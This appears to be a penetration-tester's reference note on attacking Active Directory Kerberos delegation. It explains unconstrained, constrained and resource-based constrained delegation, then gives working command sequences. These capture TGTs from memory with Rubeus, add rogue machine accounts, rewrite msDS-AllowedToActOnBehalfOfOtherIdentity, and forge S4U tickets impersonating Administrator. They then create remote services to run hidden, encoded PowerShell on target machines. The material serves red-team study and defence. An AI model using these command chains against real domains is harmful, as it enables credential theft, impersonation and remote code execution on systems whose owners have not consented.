# Exploitation - Kerberos delegations

### Overview

`Kerberos` is an authentication protocol used within Active Directory that rely on the use of tickets to identify users and grant access to domain resources. To do so, `Kerberos` implements two type of tickets, issued by two distinct services of the `Key Distribution Center (KDC)`:

* `Ticket-Granting Ticket (TGT)`, obtained from the `Authentication Service (AS)`.
* `service tickets`, obtained from the `Ticket-Granting Service (TGS)`.

A valid `TGT` is necessary in order to request `service tickets`, which in turn grant access to service accounts (user or machine domain accounts that have a `ServicePrincipalName (SPN)`).

**Unconstrained, constrained and resource-based constrained delegations**

Three types of delegation are implemented in the (Microsoft Active Directory) `Kerberos` protocol:

* `unconstrained delegation`,
* `constrained delegation`,
* `resource-based constrained delegation (RBCD)`.

Service accounts that are trusted for `unconstrained delegation`, i.e service accounts with the `ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION` flag being positioned in their `User-Account-Control` attribute, can fully act on behalf of other domain users. `Service tickets` received by such services will contain a copy of the `TGT` of the user accessing the service. The received `TGTs` can be extracted from the `LSASS` process of the machine running the service / receiving the authentication, and further used to authenticate to any domain resources.

Service accounts that are trusted for `constrained delegation`, i.e service accounts with a non-empty `msDS-AllowedToDelegateTo` attribute, can impersonate other domain users to configured services (in the service account 's `msDS-AllowedToDelegateTo` attribute). `Constrained delegations` are implemented into the `Kerberos` protocol by Microsoft through the `Service-for-User-to-Proxy (S4U2proxy)` extension. `S4U2proxy` allows service accounts to request `service tickets` to the `KDC` (`TGS-REQ`) on behalf of other users by arbitrarily specifying the name of the user the `service ticket` should be emitted to. In order to do so, the service account must join, in the `req-body.additional-tickets` field of the `TGS-REQ` request, a `service ticket` marked as `forwardable` from the specified user. Such `service ticket` may be received from a delegable user as part of the `Kerberos` authentication process to the "proxifying" service or directly requested by the "proxifying" service through a `S4U2self` request (if the service is allowed to do so). More details on the `Kerberos` `S4U2self` extension are provided below.

The `resource-based constrained delegation`, introduced in Windows Server 2012, deports the trust to the final resources. Instead of trusting a service account to impersonate other users to destination services, service accounts can specifically authorize other services to authenticate using delegated `service tickets`. The authorized services are identified, by their `SPN`, in the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of the final services. Similarly to `constrained delegation`, the service accessing the final service will request a `service ticket` to the `KDC` on behalf of a domain user through a `S4U2proxy` request. Except that in a `resource-based constrained delegation` scenario, the "proxifying" service can provide a standard `service ticket` to the `KDC` and thus does not have to be in possession of a `service ticket` marked as `forwardable` from the specified user.

In summary, the services a service account can request `S4U2proxy` `service tickets` for are restricted by the `KDC` to the ones either:

* *`[constrained delegation]`* configured, using their `SPNs`, in the requesting service account's `msDS-AllowedToDelegateTo` attribute.
* *`[resource-based constrained delegation]`* having in their `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute the `SPN` of the requesting service.

**Service-for-User-to-Self (S4U2self)**

In order to provide protocol transition, Microsoft implemented the `S4U2self` extension into the `Kerberos` protocol. This extension makes `Kerberos` delegation possible for domain users accessing a service through other Windows authentication protocols, such as the `NT Lan Manager (NTLM)` protocol. As a `service ticket` is required for `Kerberos` `constrained` and `resource-based constrained delegation` (both leveraging the `Kerberos` `S4U2proxy` extension), the `S4U2self` allows a service account to obtain a `service ticket` for itself of an arbitrarily specified user. The user is specified in the of the `PA-FOR-USER` field in the `preauthentication data` of the `KRB_TGS_REQ` request to the `KDC`.

Any service account can request `service tickets` for itself through the `S4U2self` extension. However, only service accounts configured as being able to `"use any authentication protocol"`, which correspond to the `ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION` / `TRUSTED_TO_AUTH_FOR_DELEGATION` flag being positioned in the service accounts' `User-Account-Control` attribute, will receive `service tickets` marked as `forwardable`.

The `S4U2self` `service tickets` contain, in its `Privilege Attribute Certificate (PAC)`, the `authorization data` of the requested user and can be used:

* to impersonate the user locally on the system executing the service if the service account has the `SeTcbPrivilege` privilege on the local system.
* through a `constrained delegation` to impersonate the user on remote services, using subsequent `S4U2proxy` requests, if the `S4U2self` `service ticket` is marked as `forwardable`. The `S4U2self` `service ticket` can only be used to make `S4U2proxy` requests for the services defined in the receiving service account's `msDS-AllowedToDelegateTo` attribute. The `S4U2proxy` request will result in the retrieval of a `service ticket` to the remote service impersonating another user identity.
* through a `resource-based constrained delegation` to impersonate the user on remote services, using subsequent `S4U2proxy` requests, even if the `S4U2self` `service ticket` is **not** marked as `forwardable`. Indeed, in a `resource-based constrained delegation` scenario, `S4U2Proxy` requests will grant `service tickets` for services even if the `service ticket` provided to the `KDC` is non-`forwardable`. The `S4U2self` `service ticket` can only be used to make `S4U2proxy` requests for the services that define in their `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute the service emitting the `S4U2self` `service ticket`.

**Resource-based constrained delegations for machines takeover**

As previously established (from original findings made by Elad Shamir):

* all service accounts may request non-`forwardable` `S4U2self` `service tickets` impersonating any domain user.
* Non-`forwardable` `S4U2self` `service tickets` can be used in a `resource-based constrained delegation` to request `S4U2Proxy` `service tickets` and ultimately authenticate to the "trusting" service on behalf of any domain user.

In consequence of those two facts, the control of a service or machine account defined in a machine account's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, or the `ACL` right to write this attribute, can lead to remote code execution on the machine.

Indeed, Windows systems integrated to an Active Directory domain expose a number of services which can be leveraged to remotely access and execute commands, such as:

| Possible operation                                    | Service(s)                                                                                                                        | Description                                                                                                          | Related note                                                                            |
| ----------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------- |
| <p><code>PsExec</code>-like<br>file system access</p> | `CIFS`                                                                                                                            | Remote execution of commands using `PsExec`-like utilities or full access to the machine file system.                | <p><code>Windows - Lateral movements</code><br><code>\[L7] 445 - SMB</code></p>         |
| `WMI`                                                 | <p><code>HOST</code><br><code>RPCSS</code></p>                                                                                    | Remote execution of commands through `Windows Management Instrumentation (WMI)` (`Win32_Process` class for example). | `Windows - Lateral movements`                                                           |
| `WinRM`                                               | <p>Always necessary:<br><code>HOST</code><br><code>HTTP</code><br>Host dependant:<br><code>WSMAN</code><br><code>RPCSS</code></p> | `PowerShell remoting` through `Windows Remote Management (WinRM)`.                                                   | <p><code>Windows - Lateral movements</code><br><code>\[L7] 5985-5968 - WSMan</code></p> |
| Windows services                                      | `HOST`                                                                                                                            | Remote creation and/or execution of Windows services.                                                                | `Windows - Lateral movements`                                                           |

Refer to the `[ActiveDirectory] Kerberos Silver Tickets` note for more information on machine services that can be leveraged for remote access and commands execution.

**Accounts that cannot be delegated**

Domain users can be protected from `Kerberos` delegation by either being:

* configured as non-delegable (`"Account is sensitive and cannot be delegated"`), which correspond to the `ADS_UF_NOT_DELEGATED` flag being positioned in a user' `User-Account-Control` attribute.
* members of the `Protected Users` domain group.

### Identification of domain accounts that can be delegated

The PowerShell cmdlets below list all domain accounts that are not tagged as non-delegable nor are direct member of the `Protected Users` domain group.

```bash
Get-ADUser -Filter * -Properties AccountNotDelegated,MemberOf | Where-Object {($_.AccountNotDelegated -eq $False) -and -not ($_.Memberof -match "Protected Users")}
Get-DomainUser -Properties * | Where-Object {-not ($_.useraccountcontrol -match "NOT_DELEGATED") -and -not ($_.memberof -match "Protected Users")} | F
```

The PowerShell script below can be used to list the members of the privileged domain groups that are delegable (with out the `ADS_UF_NOT_DELEGATED` flag being set in their `User-Account-Control` attribute nor are direct or indirect member of the `Protected Users` domain group).

```bash
# Targeted privileged groups: "Domain Admins" (-512), "Enterprise Admins" (-519), "Administrators" (-544), "Backup Operators" (-551), "DNS Admins" (> 1000), "Print Operators" (-550), "Server Operators" (-549), "Account Operators" (-548), "Schema Admins" (-518)

$Users = Get-ADUser -Filter {AccountNotDelegated -eq $False}
$ProtectedUsers = Get-ADGroupMember -Identity "Protected Users" -Recursive

If ($ProtectUsers.Count -ne 0) {
  $DelegableUsers = Compare-Object $Users $ProtectedUsers | Select-Object -Expand InputObject | Sort-Object | Get-Unique
}

Else {
  $DelegableUsers = $Users
}

$DomainSID = (Get-ADDomain).DomainSID
$DomainAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountDomainAdminsSid, $DomainSID)
$EnterpriseAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountEnterpriseAdminsSid, $DomainSID)
$AdministratorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid, $DomainSID)
$BackupOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinBackupOperatorsSid,$DomainSID)
$DnsAdminsSID = (Get-ADGroup -Identity "DnsAdmins").SID
$PrintOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinPrintOperatorsSid,$DomainSID)
$ServerOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinSystemOperatorsSid,$DomainSID)
$AccountOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAccountOperatorsSid,$DomainSID)
$SchemaAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountSchemaAdminsSid,$DomainSID)

$PriviligedUsers = Get-ADGroup -Filter {(SID -eq $DomainAdminsSid) -or (SID -eq $EnterpriseAdminsSID) -or (SID -eq $AdministratorsSID) -or (SID -eq $BackupOperatorsSID) -or (SID -eq $DnsAdminsSID) -or (SID -eq $PrintOperatorsSID) -or (SID -eq $ServerOperatorsSID) -or (SID -eq $AccountOperatorsSID) -or (SID -eq $SchemaAdminsSID)} | Get-ADGroupMember -Recursive | Sort-Object | Get-Unique

$DelegablePriviligedUsers = @()
foreach ($DelegableUser in $DelegableUsers){
  foreach ($PriviligedUser in $PriviligedUsers){
   If ($DelegableUser.SamAccountName -eq $PriviligedUser.SamAccountName) {
      $DelegablePriviligedUsers += $DelegableUser
	}
  }
}

$DelegablePriviligedUsers
```

### Unconstrained delegation exploit

**Unconstrained delegation service accounts identification**

The PowerShell `Active-Directory` module and `Powerview` can be used to enumerate service accounts trusted for `unconstrained delegation` (accounts having the `ADS_UF_TRUSTED_FOR_DELEGATION` flag configured in their `User-Account-Control` attribute).

```bash
# Computer machine accounts
Get-DomainComputer -Unconstrained
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

# User service accounts
Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
Get-ADUser -Filter {TrustedForDelegation -eq $True}
Get-ADUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
```

**Kerberos authentication capture**

Multiples techniques and procedures may be used to obtain a `Kerberos` authentication from a remote system or user:

* `LLMNR` and `NBT-NS` poisoning
* `DNS` poisoning through a `IPv6` rogue `DHCP` server
* `MSRPC` `MS-RPRN` `SpoolerService` "printer bug"
* Through the `Exchange Web Services (EWS)` `API`
* Remote network share access from a `Microsoft SQL Server (MSSQL)` database
* `Universal Naming Convention (UNC)` path injection in phishing emails or documents on network shares
* etc.

Refer to the `[ActiveDirectory] NTLM capture and relay` note for more information on how to conduct these techniques. Note that in order to receive `Kerberos` authentications, instead of `NTLM` authentications, the authentication requests must be addressed to a service account (requiring a `SPN` that can be resolved into an `IP` by the remote system). In the present case, the `SPN` of the service account trusted for `unconstrained delegation` must be specified.

If the `SpoolerService` is exposed on a `Domain Controller`, an authentication request can be triggered from the `Domain Controller` machine account. As `Domain Controllers` have the necessary rights to make replication requests through the `Directory Replication Service API (DRSUAPI)` API, a `TGT` of a `Domain Controller` machine account can be used to conduct `DCSync` attacks. Refer to the `[ActiveDirectory] ntds.dit dumping` note for more information on the `DCSync` attack.

If `Exchange Servers` have not been patched with the `February 2019 Quarterly Exchange Updates`, the `EWS` `API` can be leveraged to trigger a request from an `Exchange Server` machine account. With out the patch being applied, `Exchange Server` machine accounts have, by default, high privileges in the domain. The `Exchange-AD-Privesc` GitHub repository lists the different attack paths that leverage an `Exchange Server` machine account to obtain `Domain Admins` privileges: `https://github.com/gdedrouas/Exchange-AD-Privesc`.

**TGTs retrieval and usage**

The `monitor` module of the `Rubeus` C# utility can be used to extract the `TGTs` stored in memory (elevated privileges are required on the system).

The `monitor` module will periodically extract all `TGTs` and display any newly captured `TGTs`.

```bash
# The TGTs will be extracted every 60 seconds by default.
Rubeus.exe monitor

Rubeus.exe monitor /interval:<INTERVAL_IN_SECONDS> /filteruser:<USERNAME>
```

Refer to the `[ActiveDirectory] Kerberos tickets usage` for more information on how to make use of the obtained `TGT`.

### Constrained delegation exploit

A principal trusted for `constrained delegation` can impersonate any user (that can be delegated) to the services.

Accounts that have the `ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION` / `TRUSTED_TO_AUTH_FOR_DELEGATION` flag being positioned in their `User-Account-Control`'s attribute can be enumerated using an LDAP filter.

**Enumeration of the msDS-AllowedToDelegateTo attribute**

```bash
# Retrieves the value of the msDS-AllowedToDelegateTo attribute of all objects in the domain that are trusted for constrained delegation.
Get-ADObject -LDAPFilter "(msDS-AllowedToDelegateTo=*)" -Properties msDS-AllowedToDelegateTo

# Retrieves the value of the msDS-AllowedToDelegateTo attribute of all objects in the domain that are trusted for constrained delegation with protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION flag).
Get-ADObject -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=16777216)(msDS-AllowedToDelegateTo=*))" -Properties msDS-AllowedToDelegateTo

# With formation, from https://alsid.com/fr/node/143.
Get-ADObject -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=16777216)(msDS-AllowedToDelegateTo=*))" -Properties msDS-AllowedToDelegateTo | ForEach-Object {
    [PSCustomObject]@{
        DistinguishedName          = $_.DistinguishedName
        'msDS-AllowedToDelegateTo' = $_.'msDS-AllowedToDelegateTo'
    }
}
```

**Exploitation of constrained delegation**

`Rubeus`'s `s4u` module or `impackets`'s `getST.py` Python script can be used to make `S4U2self` and `S4U2proxy` requests to retrieve a `service ticket` to the constrained service impersonating the specified user.

Even if delegation rights are only granted on a specific `SPN`, `alternative services` can be specified in order to retrieve `service tickets` for others services supported by the host, effectively bypassing the limitation. For instance, if a principal is only allowed to delegate to the `time` service of an host (`time\<host>`), `service tickets` can still be requested for the `HOST` or `CIFS` `SPN` of the host, leading to remote code execution.

Refer to the `S4U service tickets and usage` section below (common with `resource-based constrained delegation` exploitation) for more information on how to request and use the aforementioned tools.

### Resource-based constrained delegation exploit

**Enumeration of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute**

The `RSAT` `ActiveDirectory` module's provide PowerShell cmdlets that can be used to retrieve the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of the specified, or all, domain object(s):

```bash
# Retrieves the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the specified user / machine account.
# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName
Get-ADUser -Identity <IDENTITY> -Properties PrincipalsAllowedToDelegateToAccount
(Get-ADUser -Identity <IDENTITY> -Properties msds-allowedtoactonbehalfofotheridentity).'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access.IdentityReference.Value

Get-ADComputer -Identity <IDENTITY> -Properties PrincipalsAllowedToDelegateToAccount
(Get-ADComputer -Identity <IDENTITY> -Properties msds-allowedtoactonbehalfofotheridentity).'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access.IdentityReference.Value

# Retrieves the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of all objects in the domain with formatting.
# From https://alsid.com/fr/node/143.
Get-ADObject -LDAPFilter "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | ForEach-Object {
    [PSCustomObject]@{
        DistinguishedName                          = $_.DistinguishedName
        'msDS-AllowedToActOnBehalfOfOtherIdentity' = $_.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access.IdentityReference.Value
    }
}
```

Similarly, `PowerView` also provides PowerShell cmdlets that can be used to the same extent:

```bash
# Retrieves the raw value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the specified user / machine account.
$RawBytes = Get-DomainUser "<USERNAME>" -Properties msds-allowedtoactonbehalfofotheridentity | Select -Expand msds-allowedtoactonbehalfofotheridentity
$RawBytes = Get-DomainComputer "<MACHINE_HOSTNAME>" -Properties msds-allowedtoactonbehalfofotheridentity | Select -Expand msds-allowedtoactonbehalfofotheridentity

# Converts the retrieved attribute from IADsSecurityDescriptor COM object to a more human readable format using the RawSecurityDescriptor class.
(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl

# Retrieves the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of all objects in the domain.
Get-DomainObject -LDAPFilter "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" -Properties Name,DistinguishedName,msDS-AllowedToActOnBehalfOfOtherIdentity | ForEach-Object {
    $PSCustomObjects = @()

    $PSCustomObjects += ((New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $_.'msds-allowedtoactonbehalfofotheridentity', 0)) | Foreach-Object {$_.DiscretionaryAcl[0]}

    $PSCustomObjects | Add-Member -Name 'AppliedToName' -Type NoteProperty -Value $_.Name
    $PSCustomObjects | Add-Member -Name 'AppliedToDistinguishedName' -Type NoteProperty -Value $_.DistinguishedName

    $PSCustomObjects
}
```

**\[Optional - For ACL exploit] Creation of a controlled service account**

As the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute must refer to a valid `SPN` (defined in the domain and `DNS`-resolvable), an account defining such `SPN` must be controlled in order to request `S4U2self` `service tickets` for the targeted service.

As machine accounts register various `SPNs` (`HOST\<HOSTNAME>`, `CIFS\<HOSTNAME>`, etc.) and, by default, any domain users may add up to 10 machine accounts to a domain, a machine account may be added to the domain using a compromised low-privileges user to meet the attack prerequisites. The number of machine accounts any user may add in the domain is controlled by the `ms-DS-MachineAccountQuota` attribute of the domain root object.

The `RSAT` `ActiveDirectory` module's `Get-ADObject` and `PowerView`'s `Get-DomainObject` PowerShell cmdlets can be used to retrieve the value of the current or specified domain's `ms-DS-MachineAccountQuota` attribute:

```bash
Get-ADObject ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota

# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example
Get-ADObject -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <DOMAIN_ROOT_OBJECT> -Properties ms-DS-MachineAccountQuota

Get-DomainObject <DOMAIN | DOMAIN_ROOT_OBJECT> -Properties Name,DistinguishedName,ObjectSID,ms-DS-MachineAccountQuota
Get-DomainObject -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> <DOMAIN | DOMAIN_ROOT_OBJECT> -Properties Name,DistinguishedName,ObjectSID,ms-DS-MachineAccountQuota
```

The `Powermad`'s `New-MachineAccount` PowerShell cmdlet can be used to add a machine account into the current or specified Active Directory domain:

```bash
New-MachineAccount -Verbose -MachineAccount <MACHINE_ACCOUNT_NAME> -Password $(ConvertTo-SecureString '<MACHINE_ACCOUNT_PASSWORD>' -AsPlainText -Force)

New-MachineAccount -Verbose -DomainController <DC_IP> -Credential <PSCredential> -MachineAccount <MACHINE_ACCOUNT_NAME> -Password $(ConvertTo-SecureString '<MACHINE_ACCOUNT_PASSWORD>' -AsPlainText -Force)
```

**\[Optional - For ACL exploit] Modification of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute**

In order to conduct the modification, the right to write the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of the domain object is required. This right can be granted:

* specifically (`WriteProperty` / `GenericWrite` on `GUID: 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79`),
* indirectly through ownership of the object,
* directly and indirectly through broader control rights on the object (`GenericAll`, `WriteOwner`, `WriteDACL`, `WriteProperty` / `GenericWrite` on all attributes).

Refer to the `[ActiveDirectory] ACL exploiting` note for more information on how to enumerate and, if necessary, exploit broader control rights to obtain the right to write the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute.

The `RSAT` `ActiveDirectory` module's `Get-ADComputer` and `Set-ADComputer` PowerShell cmdlets can be used to modify the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of the specified service or machine account:

```bash
# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName
# ADPRINCIPAL: Get-ADUser -Identity <CONTROLLED_SERVICE_ACCOUNT_IDENTITY> / Get-ADComputer -Identity <CONTROLLED_MACHINE_IDENTITY>

Set-ADUser -Identity <TARGET_USER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>
Set-ADUser -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <TARGET_USER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>

Set-ADComputer -Identity <TARGET_COMPUTER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>
Set-ADComputer -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <TARGET_COMPUTER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>
```

Alternatively, the `PowerView`'s `Get-DomainComputer` and `Set-DomainObject` PowerShell cmdlets or `Impacket`'s `rbcd.py` may be used as well:

```bash
# PowerView.
# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName.

$ControlledObjectSid = Get-DomainObject -Identity <CONTROLLED_SERVICE_ACCOUNT_IDENTITY | CONTROLLED_MACHINE_ACCOUNT_IDENTITY> -Properties objectsid  | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ControlledObjectSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

Get-DomainObject <TARGET_USER_IDENTITY | TARGET_COMPUTER_IDENTITY> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Impacket.
# Supported 'action': read, write, remove, flush.
rbcd.py -action write -delegate-to <TARGET_MACHINE_ACCOUNT_NAME$> -delegate-from <CONTROLLED_MACHINE_ACCOUNT_NAME$> [<DOMAIN>/]<USERNAME>[:<TARGET_COMPUTER_ACCOUNT_PASSWORD | PASSWORD>]@<DC_HOSTNAME | DC_IP>

rbcd.py -action write -delegate-to <TARGET_MACHINE_ACCOUNT_NAME$> -delegate-from <CONTROLLED_MACHINE_ACCOUNT_NAME$> -hashes <:TARGET_COMPUTER_ACCOUNT_NT_HASH | NT_HASH> [<DOMAIN>/]<USERNAME>@<DC_HOSTNAME | DC_IP>

export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH_TARGET_COMPUTER_ACCOUNT>
rbcd.py -action write -delegate-to <TARGET_MACHINE_ACCOUNT_NAME$> -delegate-from <CONTROLLED_MACHINE_ACCOUNT_NAME$> -k -no-pass -dc-ip <DC_IP> <DC_HOSTNAME>
```

**Exploitation process of resource-based constrained delegation**

`Rubeus`'s `s4u` module or `impackets`'s `getST.py` Python script can be used to make `S4U2self` and `S4U2proxy` requests to retrieve a `service ticket` impersonating the specified user to the service allowing delegation (through `resource-based constrained delegation`).

For machine takeover, the targeted service(s) can be specified through their respective `SPN` in the form of `<SERVICE_NAME>/<MACHINE_HOSTNAME>` or `<SERVICE_NAME>/<MACHINE_FQDN>`.

Refer to the `S4U service tickets and usage` section below (common with `resource-based constrained delegation` exploitation) for more information on how to request and use the aforementioned tools (notably for machine takeover).

### S4U service tickets and usage

**S4U service tickets request**

`Rubeus`'s `s4u` module or `impackets`'s `getST.py` Python script can be used to request `S4U2self` `service tickets` for the targeted service(s). Knowledge of a secret (`NTLM` hash or `Kerberos` `AES 128 / 256 bits` keys) or a `Kerberos` `TGT` of the principal trusted for delegation (constrained or resource-based) is required and must first be retrieved before `S4U` requests can be made.

If **only the password of the user is known**, the `NTLM` hash / `RC4` key or the `AES` keys can be derived from the password. The `DSInternals` PowerShell `ConvertTo-NTHash` and `ConvertTo-KerberosKey` cmdlets or the `Rubeus`'s `hash` module can be used to this end. Additionally, if **only the security context of an user has been obtained** (i.e no knowledge of any of the user's credentials), a `TGT` for the user can be obtained using the `Rubeus`'s `tgtdeleg` module. Refer to the `[ActiveDirectory] Kerberos tickets usage` note (`Plaintext password to RC4 / AES keys` or `TGT Kerberos tickets requests` sections) for more information.

The following commands can be used to requests `S4U` `service ticket(s)` for the specified service(s) under the identity of the provided service account.

Note that the received `S4U2self` `service ticket(s)` will be automatically injected in (and overwrite) the current logon session by `Rubeus` if the `/ptt` option is specified.

```bash
# Example of <SPN> for Rubeus's msdsspn or getST.py: <SERVICE>/<DOMAIN_FQDN> or host/<HOSTNAME> or host/<HOSTNAME_FQDN>.

# Rubeus.exe.
# Example of <SERVICE_NAME | SERVICES_NAME> for Rubeus' altservice: host,cifs,http,wsman,rpcss.

# Request made using a known secret of the principal trusted for delegation.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /user:<CONTROLLED_SERVICE_ACCOUNT_USERNAME | CONTROLLED_MACHINE_ACCOUNT_NAME$> /rc4:<NTLM> /impersonateuser:<Administrator | USERNAME> /msdsspn:<SPN> [/altservice:<host,cifs,http,wsman,rpcss | SERVICE_NAME | SERVICES_NAME>] /ptt

# Request made using a valid TGT of the principal trusted for delegation.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /ticket:<TGT> /impersonateuser:<Administrator | USERNAME> /msdsspn:<SPN>/<DOMAIN_FQDN> [/altservice:<host,cifs,http,wsman,rpcss | SERVICE_NAME | SERVICES_NAME>] /ptt

# Impacket's getST.py.

# Request made using a known secret of the principal trusted for delegation.
getST.py -spn <SPN> -impersonate <Administrator | USERNAME> -dc-ip <DC_IP> '<DOMAIN>/<CONTROLLED_MACHINE_ACCOUNT_NAME$>:<CONTROLLED_MACHINE_ACCOUNT_PASSWORD>'
```

**S4U service tickets usage for machine takeover**

From a Windows attacking machine, `WinRM` can be used to remotely execute PowerShell commands if the service is exposed on the target system (port `TCP` 5985 / 5986). PowerShell remoting requires `service tickets` for the `HOST` and `HTTP` services, and may, depending on the targeted host, requires tickets for the `WSMAN` and / or `RPCSS` services as well.

```bash
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /user:<CONTROLLED_SERVICE_ACCOUNT_USERNAME | CONTROLLED_MACHINE_ACCOUNT_NAME$> /rc4:<NTLM> /impersonateuser:<Administrator | USERNAME> /msdsspn:host/<FQDN_TARGET_SYSTEM> /altservice:http,wsman,rpcss

Enter-PSSession -ComputerName <TARGET_SYSTEM_HOSTNAME>
```

Another reliable way to leverage the `s4u` `service ticket` for remote code execution is based on the creation and execution of Windows services. This technique presents the advantage of being usable from both Windows and Linux operating systems. Indeed, most Linux utilities can only make use of a single `Kerberos tickets` at a time and only one `service ticket` for the `HOST` `SPN` is required to remotely create and start services.

```
# <SERVICE_COMMAND> example with a Windows binary: <cmd.exe /c '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c '<COMMAND> <COMMAND_ARGS>' |  %ComSpec% /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD> | ...>

# Windows.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /user:<CONTROLLED_SERVICE_ACCOUNT_USERNAME | CONTROLLED_MACHINE_ACCOUNT_NAME$> /rc4:<NTLM> /impersonateuser:<Administrator | USERNAME> /msdsspn:host/<FQDN_TARGET_SYSTEM> /ptt
sc \\<TARGET_SYSTEM_HOSTNAME> create <SERVICE_NAME> binpath= "<SERVICE_COMMAND>"
sc \\<TARGET_SYSTEM_HOSTNAME> start <SERVICE_NAME>

# Linux.
# Alternatively, Rubeus's b64 encoded service ticket can be exported, decoded and converted from KRB_CRED to ccache format. For more information refer to the "[ActiveDirectory] Kerberos tickets usage" note.
getST.py -spn host/<FQDN_TARGET_SYSTEM> -impersonate <Administrator | USERNAME> -dc-ip <DC_IP> '<DOMAIN>/<CONTROLLED_MACHINE_ACCOUNT_NAME$>:<CONTROLLED_MACHINE_ACCOUNT_PASSWORD>'
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
services.py -k -no-pass -dc-ip <DC_IP> <TARGET_SYSTEM_HOSTNAME> create -name <SERVICE_NAME> -display <SERVICE_DISPLAY_NAME> -path '<SERVICE_COMMAND>'
services.py -k -no-pass -dc-ip <DC_IP> <TARGET_SYSTEM_HOSTNAME> <start | delete> -name <SERVICE_NAME>
```

**Additional information**

Refer to:

* the `[ActiveDirectory] Kerberos tickets usage` note for more information on techniques and tools to manipulate and use the received `S4U2self` `service tickets` on both Windows and Linux systems.
* the `[ActiveDirectory] Kerberos Silver Tickets` note for more information on the exploitable machine services and their associated `SPN`.
* the `[Windows] Lateral movements` note for more information on how to move laterally using `service tickets`.
* the `[General] Shells` note for more information on how to obtain a shell through the service execution (`nc.exe` one-liner, PowerShell reverse shell, etc.)

***

### References

